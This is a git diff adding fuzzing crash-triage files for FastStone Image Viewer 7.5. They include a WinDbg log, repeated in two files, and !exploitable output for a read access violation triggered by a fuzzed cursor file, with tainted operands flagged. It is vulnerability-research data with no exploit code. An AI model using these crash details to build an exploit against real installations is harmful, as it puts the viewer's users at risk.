(Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e8d286f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4a43109 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x17E0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x17E0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(17e0.1a30): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07ed7b10 edx=00003879 esi=ffd70010 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.01178e+009 -2.66394e-033 -1.29502e+014 1.10741e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a9000 7f6414ef 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4a43109 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x17E0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x17E0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(17e0.1a30): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07ed7b10 edx=00003879 esi=ffd70010 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.01178e+009 -2.66394e-033 -1.29502e+014 1.10741e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a9000 7f6414ef 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 